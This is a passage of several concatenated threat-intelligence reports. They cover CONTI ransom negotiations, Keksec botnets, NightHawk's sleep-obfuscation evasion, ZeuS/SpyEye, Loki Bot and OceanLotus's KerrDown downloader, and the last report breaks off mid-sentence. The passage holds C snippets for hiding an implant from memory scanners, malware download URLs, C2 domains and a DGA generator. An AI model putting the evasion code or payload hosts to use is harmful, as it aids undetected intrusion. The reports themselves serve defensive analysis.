Agency (CISA) also issuing a dedicated alert more recently. In what follows, we provide an insight into the transactions of more than a third (34.96%) of CONTI earnings. According to the dedicated CONTI news site, there are more than 450 organizations that have been hacked, and some of their data are now publicly available. The basic phases of the means of infiltration utilized by CONTI are illustrated in the following sections. In principle, infiltration starts with the attackers sending a phishing email to the potential victim. Once the victim opens the email and unknowingly runs the malicious dropper, the attackers gain initial access to the victim's network and can execute code. Having gained initial access, the attackers try to establish a better foothold and perform lateral movement to achieve their objectives, with the end goal being to hold the victim hostage and force the victim to pay a ransom to regain access to their data, which at the final stage of the attack are encrypted by CONTI, and to prevent publication or selling of their data. In this context, the attackers try to brute force credentials, perform an LSASS memory dump, or even exploit existing vulnerabilities to elevate privileges. Once this is done, the attackers try to disable infected systems' antivirus solutions as well as other existing security mechanisms. Subsequently, the attackers will scan the network for other servers or workstations to gain additional access. Then, the infected host(s) is attached to a Cobalt Strike C2 server controlled by the attackers. Afterwards, the attackers use RClone to upload the exfiltrated data to a cloud service (usually Mega). Finally, the attackers launch the ransomware "encryptor" to lock the victim's files. After the encryption, CONTI leaves a "README" file in each folder that it encrypts, which notifies the victim of the attack that their data have been encrypted and provides means to contact the CONTI team to pay the ransom and get the decryption software. In prior versions, the team used email addresses as means of communication. However, they developed a portal later, where users could contact CONTI using an ID that they were assigned. CONTI has been used in several attacks of high-profile organizations, has been deployed along with BazarLoader, and is considered a stakeholder of the ransomware cartel, as a member of the Wizard Spider threat group. Up to now, there are many detailed technical reports about several ransomware and how they operate. Among them, many of these reports deal with CONTI. Moreover, there are reports which showcase how CONTI operates when infiltrating an organization. To the best of our knowledge, this is the first public report about the actual negotiation process used in a ransomware campaign and not just about a small fragment of the process. The basic reason is that up to now, this intelligence was internal. Besides the perpetrator, only the victim and the delegated victim's personnel would have access to this information, while there would not be any further communication of this exchange beyond perhaps the payment wallet address. Therefore, operational information, statistics about the steps of the performed negotiations, possible ransom discounts, errors, or even other requests of both sides are not publicly documented nor discussed. Filling this gap, this report provides a good insight into the internal operations of such processes and can be considered rather representative based on the profiles of the compromised organizations. Several patterns emerge from both negotiating sides (victims and ransomware operators) in terms of followed processes, existing pitfalls, and provided services. We argue that this report sheds light on a very shady topic which, despite all technical and legal measures to counter it, remains a very thorny issue for cybersecurity professionals and continues to grow as ransomware groups evolve their tactics. ## Data Collection Methodology To collect the samples for conducting our research, we used various open malware repositories and analysis services including, but not limited to Malware Bazaar, Triage, Hybrid Analysis, CAPE, JOE Sandbox, and VirusShare. Note that in all cases, we used publicly available samples. It is worth highlighting that many web pages that discuss CONTI infections contain images that depict the ransomware notice without obfuscating the ID. The latter implies that the security consultants who shared these screenshots did not understand how they were publicly exposing their clients for the sake of publicity. The same applies to security consultants or internal IT/security teams, who uploaded the collected samples to malware analysis services, putting the targeted organizations at risk by revealing potentially targeted or even internal not publicly available information, as well as useful intelligence to any attackers. While there are several hundreds of CONTI samples online, the number of unique IDs is quite limited, which implies that during several campaigns, the spear-phishing emails may have contained different droppers; however, the encryptor that was used contained a specific ID per victim at a time, which we later noticed was reused. Notably, in many of the collected samples, one may notice that the ransomware notice asks the victim to contact the attacker by using ProtonMail, an email service provider known for its privacy and security features. In total, we extracted 115 unique IDs that we used to connect to the CONTI negotiation platform and extract the relevant negotiations in HTML format. From these IDs, 68 were valid, and 47 contained negotiations or confirmed victims, i.e., the CONTI operators expected input from the victims. ## Negotiations The CONTI negotiations are generally relatively short, but they may last several weeks. The victims communicate with the CONTI team through the provided CONTI Recovery Service links that are left in the ransomware notice and discuss the means of infiltration and encryption of their data. In the first versions of CONTI, the negotiations were initiated through email exchanges. Gradually, in the later versions, the CONTI team developed a specialized platform for the negotiations. The webpage was available on the "open" web with various TLDs and also through TOR. In principle, each victim is assigned an ID that consists of 64 alphanumeric characters, and the victim must upload the README file to the web form. In most cases, the CONTI team requires the representative of the victim to identify themselves as well as the victim organization. The latter implies that the people performing the negotiations are not always the same ones who penetrated the victim, as the attacker should already know who the victim is. Nevertheless, on several occasions, the chat is prepared, welcoming the victim organization with their title. If there is no interaction from the victims, the CONTI team starts issuing threats, which initially concern the publication of the collected data on the CONTI News site, with additional threats to sell access to the data. On several occasions, the CONTI team notifies the victims that did not give in to their threats before the deadline provided by the CONTI team, that the publication of their data has started or finished and/or that a buyer for the data has been found. The chat activity is occasionally monitored by the operators. The threats for publication or selling of the data, in the beginning, do not have a strict nor specific deadline. Depending on the interaction of the victim with the CONTI team (or lack of it), they evolve from generic to ‘soon’, ‘next week’, etc. When victims decide to negotiate the price, typically, they require a guarantee that their files will be recovered. Therefore, CONTI operators provide a ‘data pack’ as they call it, which shows through the contained files the name of the victim and usually 30% of the directory listing tree for the encrypted files. Moreover, they might ask the victim to "provide two files for a test decryption", which they subsequently decrypt. The decrypted files as well as the ’data pack’ are provided to the victims through various usually "obscure" file services. The main reason for using these services is probably some of their features, e.g., the services provide a deletion mechanism for the recipient of the uploaded files, they are free, and they do not require strong authentication. The exchanged files are encrypted by using default mechanisms and simple passwords to prevent compatibility issues for the recipients of the files. After the introductions, the negotiation starts with an initial ransom price from the CONTI team. Since all the negotiations did not lead to a deal, we report the initially requested ransom and the agreed one that was paid for the payments that we could verify through the bitcoin transactions. | Initially Requested Ransom | Paid Ransom | Steps | BTC | |----------------------------|-------------|-------|-----| | 1,250,000 | 1,000,000 | 1 | 20.05326047 | | 3,000,000 | 800,000 | 6 | 17.084 | | 5,000,000 | 746,500 | 6 | 15.43 | | 999,000 | 512,000 | 8 | 10.22997602 | | 900,000 | 450,000 | 6 | 8.00275566 | | 1,500,000 | 350,000 | 10 | 9.69536871 | | 900,000 | 325,000 | 15 | 8.90692000 | | 980,000 | 300,000 | 7 | 7.87000000 | | 400,000 | 200,000 | 9 | 5.42840261 | | 1,700,000 | 120,000 | 8 | 2.61000000 | | 300,000 | 150,000 | 5 | 2.46426081 | | 200,000 | 100,000 | 7 | 2.46426081 | | 150,000 | 100,000 | 3 | 2.65200000 | | | 3,607,000 | 7 (average) | 112.8912051 | Moreover, we report in sum the negotiation steps (how many different ransom amounts were asked by the CONTI team and how many counteroffers the victims performed) as well as the ransom amounts in Bitcoin, which were paid to the corresponding wallets. It should be highlighted that the attackers use the financial status and public reports of each separate victim to assess the requested ransom and stress this information through the discussions to press for increased prices. The latter is verified by the operational/training documents of the group, which were leaked in August by a "disgruntled employee". After the payment is made by the victims, CONTI operators provide the victim with a decryptor. A typical issue of the decryptor, which is reported by the victims, is that many files, subsequent to being decrypted, keep the added ransomware extension, which the victim has to manually remove to access the decrypted files. On some occasions, the victims requested feedback on how the attack was made. The response from the operators was rather generic, stating that the corresponding person was "inaccessible". The operators notified that an employee opened a malicious link or attachment on an email that gave them access to the host to execute malicious code. From there, they only report the use of Mimikatz and other tools, as well as that they performed lateral movement to extract the domain/admin passwords. The latter is also aligned with the leaked operational/training documents of the group. In some instances, the operators recommend their victims to use SentinelOne, Kaspersky, or Symantec security solutions. It should be noted that in one negotiation the team admitted having lost the files during exfiltration. Therefore, since the extortion for publishing the files could not work for them, they proposed a discount of 50% to the victim for the decryption tool. Examples have also been observed where the victims have successfully negotiated the payment of the ransom in smaller chunks. We should also highlight that some negotiators seem to be aware that people may monitor these negotiations. Therefore, they may specifically request the deletion of these chats. Finally, of specific interest is the very well-known case of the Irish Health Service Executive (HSE). The initially requested price was $19,999,000. The HSE representative asked the team only for proof that they indeed had access to the data. After the proof was provided, it is probable that the public outcry forced the CONTI team to provide the decryptor for free without any further discussion. Then, the HSE side proceeded with notifying the perpetrators of the legal actions that had been initiated against them. Since there was no payment, the CONTI team notified that they would try to sell the collected data. Notably, this negotiation was trolled by another person who accessed the relevant ID negotiation page. ## Discussion While it is rather common to share malware samples, it is rather odd to have such samples in the open. Clearly, the infected organizations or the tasked analysts opted to upload the samples as public samples without thinking of the consequences. In essence, without prior analysis, this is a rather poor practice since, in targeted attacks, this may leak sensitive information. Indeed, despite the fact this allows for snooping of the negotiations, it also impedes the process. As observed, third parties had intervened and ‘trolled’ the negotiations or made the perpetrators see that there is traffic and expect interactions from their victims when this was not the case. In an isolated case, the negotiations were continued on another platform since they were conducted with someone that according to the victim should not have access to them. Even more, in several cases, the victims did not request proof of the decryption of their files or the shredding log, which shows a lack of capacity in handling such cases. We have three cases where we do not have the full negotiations. Therefore, we do not know how they ended nor any bitcoin address to determine whether the victims paid the requested ransom. However, the victims are not listed in the exposure web page. A very interesting finding has to do with the handling of the negotiations. As discussed, one would expect that each ID is targeted to a single organization, as this would be a result of a spear-phishing campaign. However, the latter is not actually the case as we have noticed that the same IDs are used with new victims. Therefore, previous victims may look at the negotiations of new victims. Moreover, we have observed that the negotiation chat is occasionally cleared. More precisely, not all chats are available continuously and not to their full extent. In fact, we have observed the removal of fragments of the discussion, with the most noticeable being the removal of bitcoin addresses. This implies that the operator of each negotiation has the option to clear part of the chat and that different operators could be assigned per ID. The reuse of IDs may imply the use of the same encryption key, so decryptors may work for other victims; however, with the ones at hand, this claim cannot be verified. It should also be noted that the operators reuse a lot of wording for salutation, requesting interaction, and ransom bidding. For instance, the exact same wording has been intercepted more than once. The above implies that apart from the leaked training/operational manuals, there is another ‘playbook’ for the negotiations, which includes what should be said and how. During the negotiations, the operators try to appear as professionals, to belong to a greater group as in a formal organization, and to be friendly to the victim without initiating further discussions. The negotiation may take several iterations and immediate payments are favored and discounted. The negotiators of the CONTI group, appearing as professionals, sometimes mention their victims as customers or clients and not as victims. Finally, after the recent leaks of chats on the media, CONTI has introduced a CAPTCHA mechanism in the negotiation site. ## Conclusion The authors of this work do not by any means promote the payment of ransom. On the contrary, we illustrate how this trend has evolved into a multi-million industry worldwide and made organizations suffer. We illustrate in this research that several practices, such as sharing malware samples without proper sanitization of the binary, may have a boomerang effect on the victim by further exposing them. Indeed, one can understand how such negotiations could be derailed by third parties entering the negotiations. Moreover, even if the victim paid for the ransom, third parties had access to the sensitive data and that the exposure could be even more augmented. In a wilder scenario, another adversary could jump in the conversation and convince the victim of being the original adversary and lure them into paying the ransom in another wallet or double encrypting the victim’s files. Given the public leaks and their size, an obvious question that should be investigated is whether the victim organizations have reported these attacks appropriately, as legal obligations set specific deadlines for these actions. The question is even more relevant for the cases of organizations that paid the ransom and whose data leakages cannot be verified through the public leaks. In fact, the legal implications are an aspect that the CONTI team is often trying to use to convince their victims to pay the ransom.
# Mass Attack buhtiRansom An unknown threat actor launched this week a wave of ransomware attacks against vulnerable servers with CVE-2022–47986. The vulnerability that affects IBM Aspera Faspex applications in versions prior to 4.4.2 is present in approximately 300 hosts indexed in the Shodan platform. Aspera Faspex is an application designed for file transfer and therefore it is common for affected servers to have large volumes of connected storage. We identified different encrypted servers, with the files renamed to the .buhti extension and with the ransom note created on the same date, where the threat actor provides a link to the SatoshiDisk platform as a payment method. Considering the simple characteristics of the attacks, it's expected to be just another threat actor taking advantage of the opportunity. We will continue to follow!
# Studying “Next Generation Malware” - NightHawk’s Attempt At Obfuscate and Sleep Austin Hudson May 5, 2022 Over the last year and a half, I’ve often seen mentions of a self-proclaimed “next generation malware” of the name NightHawk. Ordinarily, I’d know most of those claims tend to be nothing more than hubris, and choose to ignore it, but I get bored. As such, I’ve chosen to start analyzing and tearing apart the malware based on samples I acquired via VirusTotal, a hub which contains a plethora of commercial, closed-source, and open-source samples. This research is done on my own time and is not associated with anyone other than myself. I’ve torn apart other similar malware such as Beacon from Cobalt Strike. **TLDR:** A very simple, yet effective technique. Can this be replicated with ease? Yes! Was it something new? Fortunately, no. A little disappointed? A bit. ## Understanding its PE-SIEVE / Moneta Evasion A while back, a friend of mine notified me about a video which proclaimed that it was capable of circumventing Hasherezade’s memory scanning tool PE-SIEVE, as well as Forrest’s Moneta, something that piqued my interest, as I had developed a similar capability a few years prior to improve the original research named Gargoyle for x86/x64/WOW64. At first, I was intrigued about the technique. Was there perhaps an easier method that I had missed? Fortunately for me, not so much. Further study revealed that it supported numerous sleeping methods, such as leveraging `NtSignalAndWaitForSingleObject` by notifying an event, then awaiting on the current process while remaining non-alertable, or by leveraging `NtWaitForSingleObject` to await on the current process object as non-alertable. ```c Evt = CreateEventW(NULL, 0, 0, NULL); if (Evt != NULL) { Nst = NtSignalAndWaitForSingleObject(Evt, NtCurrentProcess(), FALSE, &Del); } ``` *Pseudo-C demonstrating the underlying concept of using `NtSignalAndWaitForSingleObject`* Nothing new, fortunately. It's used as a means of circumventing the check on Hunting-Sleeping-Beacons to hide detections based on the `DelayExecution` wait status for threads. It's certainly sufficient, and something I was doing myself. However, its evasion to hide traces of itself in memory are a little different. It first (I believe) leverages `RtlCaptureContext` as a callback to `kernel32!CreateTimerQueueTimer` with an argument to a context structure to capture the return address value to return to. A call below would replicate the similar behavior: ```c if (CreateTimerQueueTimer(&TimerObj, TimerQueue, RtlCaptureContext, ContextStruct, 0, 0, WT_EXECUTEINTIMERTHREAD)) { WaitForSingleObject(TimerObj, 50); } ``` The callback will promptly be executed within a new thread, and on x64, RSP will be filled with the complete return address. After this has completed, NightHawk then fills in the function-call CONTEXT structures for `VirtualProtect`, `SuspendThread`, `GetThreadContext`, `SetThreadContext`, and `ResumeThread`. These context structures allow NightHawk to redirect execution to the specified functions with full control over RSP, RCX, RDX, R8, R9. It does not have any further control over any functions that are over 4 arguments on x64, due to the usage of timers and heavy reliance on its termination callback from calling the specified callback. Furthermore, it adjusts RSP back to 8 bytes to accommodate the offset created by calling `RtlCaptureContext`. ```c __builtin_memcpy(&ContextVirtualProtect, &ContextStructure, sizeof(ContextStructure)); ContextVirtualProtect.Rsp -= 8; ContextVirtualProtect.Rip = VirtualProtect; ContextVirtualProtect.Rcx = NightHawkImageBase; ContextVirtualProtect.Rdx = NightHawkImageLength; ContextVirtualProtect.R8 = PAGE_READWRITE; ContextVirtualProtect.R9 = &OriginalProtect; __builtin_memcpy(&ContextSuspendThread, &ContextStructure, sizeof(ContextStructure)); ContextSuspendThread.Rsp -= 8; ContextSuspendThread.Rip = SuspendThread; ContextSuspendThread.Rcx = MyOriginalThreadHandle; ``` Once the call has been built, it then attempts to queue it using the same timer function with a callback set to either `NtContinue` or `RtlRestoreContext`, which will leverage the context structure to execute the specified function with the set registers and return safely without causing a potential crash—while promptly adjusting the timing period between the calls to avoid any functions from being queued out of order. ```c LARGE_INTEGER Time; RtlSecureZeroMemory(&Time, sizeof(Time)); Time.QuadPart += 100; CreateTimerQueueTimer(TimerObj, TimerQueue, RtlRestoreContext, &ContextVirtualProtect, &Time, 0, WT_EXECUTEINTIMERTHREAD); Time.QuadPart += 100; CreateTimerQueueTimer(TimerObj, TimerQueue, RtlRestoreContext, &ContextSuspendThread, &Time, 0, WT_EXECUTEINTIMERTHREAD); ``` As a result, the timer queue will first execute `ContextVirtualProtect`, before `ContextSuspendThread` to avoid issues of them conflicting or running before the other has completed safely. But first! To avoid issues of the calls running before it has reached a waitable state, it will then use `WaitForSingleObject` to block until the timer queue has completed. A very similar style to how I accomplished my Foliage/Gargoyle chain a few years ago, yet just as effective. I will be sharing my PoC in the coming days replicating their variation to completion. For those of you who utilize Cobalt or other similar toolsets, and don't want to waste $30K, fortunately, this can be achieved with very little effort and tooling using something like a custom Reflective Loader, which I will be re-posting my Titan variant with their implementation contained.
# The “Kek Security” Network **Key takeaways:** - Keksec has updated their tactics to include use of DGA and Tor C2, and proxies. - Based on voluminous polymorphic specimens, there is likely widespread infection attributable to the group. - Keksec is actively exploiting Citrix NetScaler RCE – CVE-2019-19781 and VMware vCenter Server – CVE-2021-21973. - Tools and indicators are available here. ## Introduction Kek Security/Keksec is a prolific threat actor group that was recently detailed in Checkpoint (Freakout) and Netlab360 (Necro) reporting. Keksec exploits several vulnerabilities and targets multiple architectures with polymorphic tools including Linux and Windows payloads, and custom Python malware. The group is actively constructing IRC botnets for the purposes of DDoS operations and cryptojacking campaigns using both Doge and Monero. This blog details the new tools and tactics leveraged by Keksec and includes persona information on the actors. Analysis tools and indicators can be found in the Lacework Labs GitHub. ## Kaiten Variants Beginning as early as August 2020, Keksec started leveraging polymorphic variants of the Kaiten IRC DDoS bot. This was observed on VirusTotal with over 1800 uploads of the malware at the time of this blog. The polymorphic nature of the malware renders hash-checks useless and requires a scan to properly identify. This means that the number of VirusTotal uploads for a given variant is a reflection of the malware’s footprint in the wild. Analysis of submission data showed 46 unique submitter keys in 23 countries. The ownership of the submitter keys is not disclosed in VirusTotal, so it’s unknown how many belong to AV vendors or unique victims. Variants of the Kaiten source are available on GitHub; however, the exact source for the Keksec variants is not. Some of the specimens were configured to exploit different vulnerabilities including the Citrix NetScaler RCE – CVE-2019-19781 and other IoT exploits often seen in Mirai. Kaiten uses a substitute cipher to encode sensitive strings such as commands and C2 endpoints. Analysis of the Keksec samples revealed the use of two custom ciphers, the second of which was configured in late February. ### Keksec’s Kaiten cipher ``` xm@_;w,B-Z*j? nvE|sq1o$3″7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy: %q*KC)&F98fsr2to4b3yi_:wB>z=;!k?”EAZ7.D- md<ex5U~h,j|$v6c1ga+p@un ``` The following Python code may be used to decode Kaiten strings; the inputs and the cipher value just need to be changed for the respective specimen: ```python encstring_ = "?>K!tF>iorZ:ww_uBw3Bw" cipher_ = {} encode = list('%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un') decode = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ') temp = zip(encode, decode) for pairs in temp: cipher_[pairs[0]] = pairs[1] decode_temp = [] for s in encstring_: try: d = cipher_[s] decode_temp.append(d) except: raise decoded = ''.join(decode_temp) print(decoded) ``` A significant tactic change employed with the latest Kaiten specimens was the use of a Tor. This is achieved with an .onion domain `vp3te7pkfczmnnl.onion`, as opposed to hardcoded IPs seen in earlier specimens. The following table shows all observed C2s with the latest cipher. | Encoded C2 | Decoded | Count | |----------------------------------|-------------------------------|-------| | ?>K!tF>iorZ:ww_uBw3Bw | vp3te7pkfczmnnl.onion | 126 | | C)uqC)uq9)u9K | 45.145.185.83 | 6 | | C)uq)Ku*%Kuq*C | 45.153.203.124 | 7 | Since February, there have been over 120 observed specimens using the .onion C2. These newer binaries are being served off several IPs belonging to DediPath and ColoCrossing, which are also two of the top sources of Mirai malware. | Malware URL | ASN | |-------------------------------------------------------|------------| | http://45.153.203.242/bins/fagbinz.sh4 | DediPath | | http://45.153.203.124/S1eJ3/lPxdChtp3zsh4 | DediPath | | http://172.245.36.128/S1eJ3/lPxdChtp3zx86 | ColoCrossing| | http://45.144.225.96/S1eJ3/IObeENwjm68k | DediPath (irc.kek.org) | | http://45.145.185.83/S1eJ3/IObeENwjsh4 | DediPath (irc.kek.org) | | http://45.144.225.65/S1eJ3/IObeENwjx86 | DediPath | Two of the malware distribution IPs (45.144.225.96 & 45.145.185.83) are also part of Keksec’s IRC infrastructure as shown with the irc.keksec.org banner in Shodan. Note: keksec.org is only the name for the IRC server and is not a registered domain. On one of the endpoints, an XMRig installation script was also captured by Shodan scanners. Similar to TeamTNT, Keksec has self-attributed their attacks in the past by using their name in the malware and infrastructure. Despite this, the new Kaiten specimens were not given ‘keksec’ names, nor were there any Keksec static artifacts. | Type | Examples | |----------------|-----------------------------------------------| | Filenames | ayylmao420kekuaintgettindesebinssh4 | | | keksec.ppc | | | keksec.mips | | Network | irc.kek.org | | | kek.gay | | Strings | keksec | | | keksec rox | | | keksec ROX | ## Necro Simultaneously with the new Tor functionality in the Kaiten binaries, Keksec also started using Tor proxies in the custom Necro payloads. Necro is the name for Keksec’s obfuscated Python IRC malware, with the latest version documented by Net360. Key features of note in the latest Necro variants: - Installs Tor, leverages hardcoded proxies - A full list of proxies is provided in our indicator list - Targets both Windows and Linux - Rootkit functionality for Windows - Exploits Laravel, Weblogic vulnerabilities - CVE-2020-14882 - CVE-2021-3129 - Employs new DGA with NO-IP.COM Dynamic domains Necro is characterized by its unique obfuscations which leverage a combination of zlib compression and a multibyte XOR key. These samples can be decoded with a script provided by Lacework Labs. Following deobfuscation, the proxy configurations and Tor installation commands are easily observable. Similarly, the DGA algorithm is identifiable. The following Python generates all possible Necro DGA domains. To date, only domain `ntxkg0la99w.zapto.org` has been seen in the wild. ```python import random counter_ = 0 while 1: if counter_ >= 0xFF: break counter_ += 1 random.seed(a=0x7774DEAD + counter_) dgadomain_ = (''.join(random.choice("abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(random.randrange(10, 19)))).lower() dgadomain_ += "." + random.choice(["ddns.net", "ddnsking.com", "3utilities.com", "bounceme.net", "freedynamicdns.net", "freedynamicdns.org", "gotdns.ch", "hopto.org", "myddns.me", "myftp.biz", "myftp.org", "myvnc.com", "onthewifi.com", "redirectme.net", "servebeer.com", "serveblog.com", "servecounterstrike.com", "serveftp.com", "servegame.com", "servehalflife.com", "servehttp.com", "serveirc.com", "serveminecraft.net", "servemp3.com", "servepics.com", "servequake.com", "sytes.net", "viewdns.net", "webhop.me", "zapto.org"]) print(dgadomain_) ``` ## Personas Kek Security is comprised of at least 4 individuals, the most renowned of which goes by “Freak.” Handles for other members include “horsewithnoname,” “Tyrant,” and “Moony.” Freak is the author of the Necro malware which dates as far back as 2015. He also maintains a GitHub with various repositories including those with an older Necro version, a Windows rootkit loader, darkIrc source code, and exploit code for the recently disclosed vulnerability affecting VMware’s vCenter. While Keksec’s GitHub was recently created in January 2021, they also administer a pastebin with pastes starting in 2014. The Keksec pastebin has various custom tools including scanners, exploits, and crypters. One of the pastes is the Python code used for obfuscating earlier versions of Necro using zlib compression without the additional XOR encoding. Lacework recently blogged about another group named TeamTNT who shares multiple similarities with regards to general tactics. For example, both are self-promoters with a social media presence. Also, both leverage the Kaiten source and self-attribute their code and infrastructure. There is also evidence that the two groups are acquainted at some level as the TeamTNT associated GitHub account, @jwne, is only one of 5 followers of @freakanonymous. Indicators and tools for this activity are available on our GitHub. If you found this blog useful, then please share and follow us on Twitter!
# SpyEye vs. ZeuS Rivalry It’s common for malware writers to taunt one another with petty insults nested within their respective creations. Competing crime groups also often seek to wrest infected machines from one another. A very public turf war between those responsible for maintaining the Netsky and Bagle worms back in 2005, for example, caused a substantial increase in the volume of threats generated by both gangs. The latest rivalry appears to be budding between the authors of the Zeus Trojan — a crime kit used by a large number of cyber thieves — and “SpyEye,” a relatively new kit on the block that is taking every opportunity to jeer at, undercut and otherwise siphon market share from the mighty Zeus. Symantec alluded to this in a February blog post that highlighted a key selling point of the SpyEye crimeware kit: If the malware created with SpyEye lands on a computer that is already infected with Zeus, it will hijack and/or remove the Zeus infection. Now, just a few months later, the SpyEye author is releasing a new update (v. 1.1) that he claims includes the ability to inject content into Firefox and Internet Explorer browsers, just as Zeus does. It is precisely this injection ability that allows thieves using Zeus to defeat the security tokens that many banks require commercial customers to use for online banking. The new version comes as the Zeus author is pushing out his own updates (v. 1.4), along with a hefty price tag hike. The old Zeus kit started at around $4,000, while the base price of the newer version is double that. According to research from Atlanta-based security firm SecureWorks, Zeus plug-ins that offer additional functionality raise the price even more. For example: - Windows7/Vista compatibility module – $2,000 - Backconnect module (lets criminals connect back to victim and make bank transactions through that PC) – $1,500 - Firefox form grabbing (copies out any data entered into a form field, such as a user name and password) – $2,000 - Jabber notification (a form of instant message) – $500 - FTP clients saved credentials grabbing module – $2,000 - VNC module — $10,000 (like GoToMyPC for the bad guys, reportedly no longer being sold/supported) The SpyEye author declined to be interviewed for this story. But it’s clear from his Flash banner ads reproduced here that he plans to keep up the public relations campaign against Zeus, with a focus on the relatively low price: SpyEye costs just $500 (although the new Firefox injection tool runs an extra $1,000). SecureWorks has noted that the latest versions of Zeus include anti-piracy technology that uses a hardware-based licensing system that can only be run on one computer. “Once you run it, you get a code from the specific computer, and then the author gives you a key just for that computer,” SecureWorks wrote. “This is the first time we have seen this level of control for malware.” Not to be outdone, the SpyEye author now claims his malware builder also includes a hardware lock, using VMProtect, a Russian commercial software protection package.
# Loki Bot: On a Hunt for Corporate Passwords Starting from early July, we have seen malicious spam activity that has targeted corporate mailboxes. The messages discovered so far contain an attachment with an .iso extension that Kaspersky Lab solutions detect as Loki Bot. The malware’s key objective is to steal passwords from browsers, messaging applications, mail and FTP clients, and cryptocurrency wallets. Loki Bot dispatches all its loot to the malware owners. ISO images are copies of optical discs that can be mounted in a virtual CD/DVD drive to be used in the same way as the originals. Whereas in days of yore users needed dedicated software to open this type of image, today’s operating systems support the format out of the box, and if you want to access the contents of the file, all you need to do is double-click. Malicious spam uses this type of file as a container for delivering malware, albeit rarely. As mentioned above, hackers were sending out copies of Loki Bot to company email addresses that could be obtained from public sources or from the companies’ own websites. The emailed messages were notably diverse: 1. **Fake notifications from well-known companies** Imitating messages from well-known corporations is one of the most popular tricks in the hackers’ arsenal. Interestingly enough, fake emails used to be directed mostly at common users and customers, whereas now companies are increasingly the target. 2. **Fake notifications containing financial documents** The scammers passed off malicious files as financial documents: invoices, transfers, payments, etc. This is a fairly popular malicious spamming technique, with the message body usually no more than a few lines and the subject mentioning what exactly is purported to be attached. 3. **Fake orders or offers** Phishers may pose as customers placing an order, or a vendor offering their goods or services. Every year we observe an increase in spam attacks on the corporate sector. The perpetrators have used phishing and malicious spam, including forged business emails, in their pursuit of confidential corporate information: intellectual property, authentication data, databases, bank accounts, etc. That’s why today it’s essential for corporate security measures to include both technical protection and training for employees, because their actions may cause irreparable damage to the business.
# Tracking OceanLotus’ New Downloader, KerrDown By Vicky Ray and Kaoru Hayashi February 1, 2019 OceanLotus (AKA APT32) is a threat actor group known to be one of the most sophisticated threat actors originating out of Southeast Asia. Multiple attack campaigns have been reported by a number of security organizations in the last couple of years, documenting the tools and tactics used by the threat actor. While OceanLotus’ targets are global, their operations are mostly active within the APAC region, targeting private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam. This blog will cover a new custom downloader malware family we’ve named “KerrDown,” which OceanLotus has been actively using since at least early 2018. We also show how the Jaccard-index algorithm was used to quickly find similarities between the new KerrDown malware family within our datasets. This method has proven to be very useful to extract similarities from large sample datasets and connect attack campaigns together. Given the large number of “KerrDown” samples found, we were also able to discern possible patterns in OceanLotus’ working hours and days of the week, which is discussed in the later sections of this blog. We identified two methods to deliver the KerrDown downloader to targets. One is using a Microsoft Office Document with a malicious macro, and the other is a RAR archive that contains a legitimate program with DLL side-loading. For RAR archive files, the file names used to trick targets are all in Vietnamese. Our analysis shows that the primary targets of the ongoing campaign discussed in this blog are either in Vietnam or Vietnamese-speaking individuals. ## Malicious Document Our analysis began with an active MIME document, something we’ve seen OceanLotus use before but this time involving a new payload, KerrDown. The lure hash is (SHA256:89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3). Once the victim opens the lure document, which includes an image file with a message in Vietnamese asking the victim to enable macros to view the contents of the file. At first glance, the document may look like there is no other content other than the notification to enable macros. However, a closer look reveals two different base64 blobs inserted in the page in separate tables, and the font size has been changed to 1, which may deceive victims to overlook the content. Another reason for this technique may be that many automated tools are able to detect the presence of an embedded binary within the streams of such files, and this technique may allow them to go undetected. ## Delivery Document Analysis Once we increase the font size, the base64 blobs are visible in two different tables. Once decoded, you can see the MZ header of the PE DLL at the beginning of each table. We also noticed that the actors reused the VBS decode function published by Motobit. ### Similarity Analysis of KerrDown Samples using Jaccard-Index Once we decoded and extracted both DLL files from the document, we used a similarity analysis algorithm using the Jaccard index to check the binaries against a known set of malware families used by OceanLotus, which yielded no matches with any previous OceanLotus malware families. However, we were able to find multiple other samples in our datasets using the imphash value of the KerrDown samples and the accompanying C2 domains. Given the high number of samples found, we again used a similarity analysis algorithm using Jaccard Index to extract similarities between all the samples found. At this stage, we were not sure if the DLL files were a backdoor or had any other functionality. Hence, we included a few other known OceanLotus malware family samples used no earlier than 2017 to our similarity test, and in most cases, samples which were final payloads dropped in victim machines. One of the main objectives was to quickly discern if KerrDown could have been variants of the known malware families we have been tracking or if OceanLotus was employing a new malware family in their playbooks and in the recent campaigns. Plotting the Jaccard index results using networkx, we can quickly visualize the similarities extracted. As you can see from the graph, there is a thick cluster of samples that did not have any similarities with the other known OceanLotus malware family samples. Therefore, this observation was helpful for us to understand that the samples we were looking into were likely a new malware family being employed by the OceanLotus group at the time of analysis, which we have now named KerrDown. ## KerrDown to Cobalt Strike Beacon As discussed in the delivery document analysis above, depending on the OS architecture, either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it using the DES algorithm, and executes it in memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system, and the payload directly gets executed in memory without being written in the system. | OS Architecture | URL | User Agent | |------------------|--------------------------------------------|------------| | 32 bit | https://syn.servebbs[.]com/kuss32.gif | Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0) | | 64 bit | https://syn.servebbs[.]com/kuss64.gif | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) | The link to the final payload of KerrDown was still active during the time of analysis, and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon. Cybereason also published previously on OceanLotus using Cobalt Strike in their campaigns, and it is interesting to see the use of a new downloader malware family being used to still deliver the final payload of Cobalt Strike. As we can see in this case, the purpose of the malware is to download and execute the Cobalt Strike Beacon payload in memory. Though Cobalt Strike is a commercial penetration testing tool, various threat actors are known to have used it in their campaigns. ## RAR Archives with KerrDown While investigating KerrDown, we found multiple RAR files containing a variant of the malware. We haven’t yet identified the delivery method or targets of this variant. The attacker changed the downloader code by adding more stages and hiding each stage by compression and encryption. They also changed the way to execute the malicious code from an Office macro to the DLL side-loading technique through a legitimate program. The RAR archive 